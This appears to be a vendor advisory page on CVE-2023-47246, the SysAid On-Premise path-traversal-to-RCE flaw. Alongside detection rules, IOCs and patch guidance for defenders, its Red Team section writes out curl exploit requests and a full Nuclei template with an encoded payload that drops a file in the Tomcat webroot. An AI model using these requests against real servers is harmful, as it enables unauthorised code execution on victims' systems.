CVE-2023-47246
Executive Summary
CVE-2023-47246 is a critical path traversal vulnerability in SysAid On-Premise software, actively exploited in the wild since November 2023. The vulnerability allows an unauthenticated attacker to write arbitrary files to the Tomcat webroot, leading to remote code execution (RCE) with the privileges of the Tomcat service. The attack vector is through a specially crafted HTTP POST request to the /userentry endpoint, leveraging a directory traversal sequence in the accountId parameter. The vulnerability has a CVSS score of 9.8 (Critical) and is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. The provided Nuclei template confirms the exploit's reliability, and the EPSS score of 0.9438 indicates a very high probability of exploitation in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the SysAid On-Premise software, which is a proprietary IT service management (ITSM) solution. There is no open-source package or supply chain component directly involved, but the software is often deployed in enterprise environments and may be bundled with third-party dependencies (e.g., Tomcat). Organizations should verify the integrity of their SysAid installation and ensure no unauthorized modifications have been made.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) - Exploitable remotely.
- Attack Complexity: Low (AC:L) - No special conditions required.
- Privileges Required: None (PR:N) - No authentication needed.
- User Interaction: None (UI:N) - No user action required.
- Scope: Unchanged (S:U) - Vulnerability does not affect other components.
- Confidentiality Impact: High (C:H) - Full system compromise possible.
- Integrity Impact: High (I:H) - Attacker can modify files and execute code.
- Availability Impact: High (A:H) - Potential for denial of service or system takeover.
Threat Level: Critical. The vulnerability is actively exploited by threat actors, including the Lace Tempest group (associated with Clop ransomware). Immediate patching is required.
Deep Dive & Mechanics
The vulnerability resides in the SysAid On-Premise application's handling of the accountId parameter in the /userentry endpoint. The application fails to properly sanitize user input, allowing directory traversal sequences (e.g., ../../../) to escape the intended directory. By crafting a request with a malicious accountId value, an attacker can write arbitrary files to the Tomcat webroot directory.
The exploit works as follows:
- The attacker sends a POST request to
/userentry?accountId=/../../../tomcat/webapps/<random_dir>/&symbolName=test&base64UserName=YWRtaW4=. - The
accountIdparameter contains a path traversal sequence that navigates to the Tomcat webroot. - The request body contains a base64-encoded payload (a JSP webshell or other malicious file) that is written to the specified directory.
- The attacker then accesses the uploaded file via HTTP GET, achieving remote code execution.
The vulnerability is particularly dangerous because it requires no authentication and can be exploited with a single HTTP request. The provided Nuclei template demonstrates the exact payload and verification method.
Vulnerable vs. Patched Code
Vulnerable Code (SysAid < 23.3.36):
The vulnerable code does not validate or sanitize the accountId parameter, allowing directory traversal. The application writes user-supplied content to a path constructed from the accountId parameter without checking for ../ sequences.
Patched Code (SysAid >= 23.3.36):
The patched version implements input validation to reject directory traversal sequences. The accountId parameter is normalized and checked to ensure it does not escape the intended base directory. Additionally, file write operations are restricted to safe directories.
Example of vulnerable code logic (pseudo):
String accountId = request.getParameter("accountId");
String basePath = "/opt/sysaid/webapps/";
String filePath = basePath + accountId + "/uploaded_file";
// No validation of accountId
writeFile(filePath, request.getInputStream());
Example of patched code logic (pseudo):
String accountId = request.getParameter("accountId");
if (accountId.contains("..") || accountId.contains("/") || accountId.contains("\\")) {
throw new SecurityException("Invalid accountId");
}
String basePath = "/opt/sysaid/webapps/";
String filePath = basePath + accountId + "/uploaded_file";
writeFile(filePath, request.getInputStream());
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable SysAid On-Premise instance (version < 23.3.36).
- Network access to the target server (port 8080 or 8443 typically).
Exploitation Steps:
Craft the malicious request: Use the provided Nuclei template or a custom script. The payload is a base64-encoded JSP webshell that writes a test file (
CVE-2023-47246.txt) to the webroot.Send the exploit request:
curl -X POST "http://target:8080/userentry?accountId=/../../../tomcat/webapps/test123/&symbolName=test&base64UserName=YWRtaW4=" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary @payload.bin
Where payload.bin contains the base64-decoded payload from the Nuclei template.
- Verify execution:
curl "http://target:8080/test123/CVE-2023-47246.txt"
If the file contains "CVE_TEST", exploitation is successful.
Full Nuclei Template (for reference):
id: CVE-2023-47246
info:
name: SysAid Server - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
reference:
- https://www.huntress.com/blog/critical-vulnerability-sysaid-cve-2023-47246
- https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
- https://www.rapid7.com/blog/post/2023/11/09/etr-cve-2023-47246-sysaid-zero-day-vulnerability-exploited-by-lace-tempest/
- https://www.cisa.gov/news-events/alerts/2023/11/13/cisa-adds-six-known-exploited-vulnerabilities-catalog
- https://documentation.sysaid.com/docs/latest-version-installation-files
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-47246
cwe-id: CWE-22
epss-score: 0.9438
epss-percentile: 0.9997
cpe: cpe:2.3:a:sysaid:sysaid_on-premises:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: sysaid
product: sysaid_on-premises
shodan-query:
- http.favicon.hash:1540720428
- http.favicon.hash:"1540720428"
fofa-query: icon_hash="1540720428"
tags: cve,cve2023,sysaid,rce,kev,traversal,intrusive,vkev,vuln
variables:
directory: "{{rand_base(5)}}"
http:
- raw:
- |
POST /userentry?accountId=/../../../tomcat/webapps/{{directory}}/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{ hex_decode('789c0bf06666e16200819c8abcf02241510f4e201b84851864189cc35c758d0c8c8c754dcc8d4cccf44a2a4a42433819981fdb05a79e63f34b4dade0666064f9cac8c0c0023201a83a3ec43538842bc09b91498e1997b1126071a026862d8d506d1896b0422c41b320c09b950da2979121024887824d02000d3f1fcb') }}
- |
@timeout: 15
GET /{{directory}}/CVE-2023-47246.txt?{{wait_for(9)}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(body_2,'CVE_TEST') && status_code_1==200 && status_code_2==200"
Blue Team (Detection & Defense)
Detection:
- Monitor for HTTP POST requests to
/userentrywith suspiciousaccountIdparameters containing../sequences. - Look for unusual file writes to the Tomcat webroot directory (e.g.,
/tomcat/webapps/). - Alert on the creation of new directories or files in the webroot that are not part of the normal application deployment.
Defense:
- Immediately apply the vendor patch (upgrade to version 23.3.36 or later).
- Implement a Web Application Firewall (WAF) rule to block requests with directory traversal patterns in the
accountIdparameter. - Restrict file write permissions on the Tomcat webroot to only authorized processes.
- Enable logging and monitoring for all file system changes in the webroot.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/userentrywithaccountIdcontaining../sequences. - HTTP GET requests to newly created directories under
/tomcat/webapps/(e.g.,/test123/CVE-2023-47246.txt). - Base64-encoded payloads in POST body (decoded payload may contain JSP code).
- HTTP POST requests to
File System IOCs:
- Unexpected files or directories in the Tomcat webroot (e.g.,
/tomcat/webapps/<random>/). - Files named
CVE-2023-47246.txtor similar test files. - JSP webshells (e.g.,
cmd.jsp,shell.jsp) in the webroot.
- Unexpected files or directories in the Tomcat webroot (e.g.,
Process IOCs:
- Tomcat process spawning child processes (e.g.,
cmd.exe,/bin/sh) indicative of webshell activity.
- Tomcat process spawning child processes (e.g.,
Log IOCs:
- Tomcat access logs showing requests to
/userentrywith directory traversal patterns. - Error logs indicating failed file write attempts or permission errors.
- Tomcat access logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2023_47246_SysAid_Webshell {
meta:
description = "Detects webshells associated with CVE-2023-47246 exploitation"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-47246"
strings:
$jsp_webshell = "Runtime.getRuntime().exec" nocase
$jsp_cmd = "request.getParameter(\"cmd\")" nocase
$jsp_output = "response.getWriter().println" nocase
$test_file = "CVE-2023-47246.txt"
condition:
any of ($jsp_webshell, $jsp_cmd, $jsp_output) or $test_file
}
Sigma Rule
title: CVE-2023-47246 SysAid Path Traversal Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting CVE-2023-47246 path traversal in SysAid
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-47246
logsource:
category: webserver
product: tomcat
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/userentry?accountId='
cs-uri-query|contains: '..'
condition: selection
falsepositives:
- Legitimate use of accountId with dots (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-47246 SysAid Path Traversal Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/userentry"; http_uri; content:"accountId="; http_uri; content:".."; http_uri; classtype:attempted-admin; sid:1000001; rev:1; reference:cve,2023-47246;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade SysAid On-Premise to version 23.3.36 or later immediately. The vendor has released a security update that fixes this vulnerability.
- Isolate: If patching is not possible immediately, isolate the affected server from the internet and restrict network access to trusted IPs only.
- Scan: Perform a thorough scan of the affected system for signs of compromise (webshells, unauthorized files, suspicious processes).
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block directory traversal attempts.
- Regularly update and patch all software components, including Tomcat and Java.
- Enable comprehensive logging and monitoring for web application activity.
- Conduct regular security assessments and penetration testing.
Verification of Patch:
- Check the SysAid version in the application's admin panel or via the API.
- Confirm that the
/userentryendpoint no longer accepts directory traversal sequences.
Valters IT
{/* [Security Hash: 27305962938CFA85C2A36C64] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.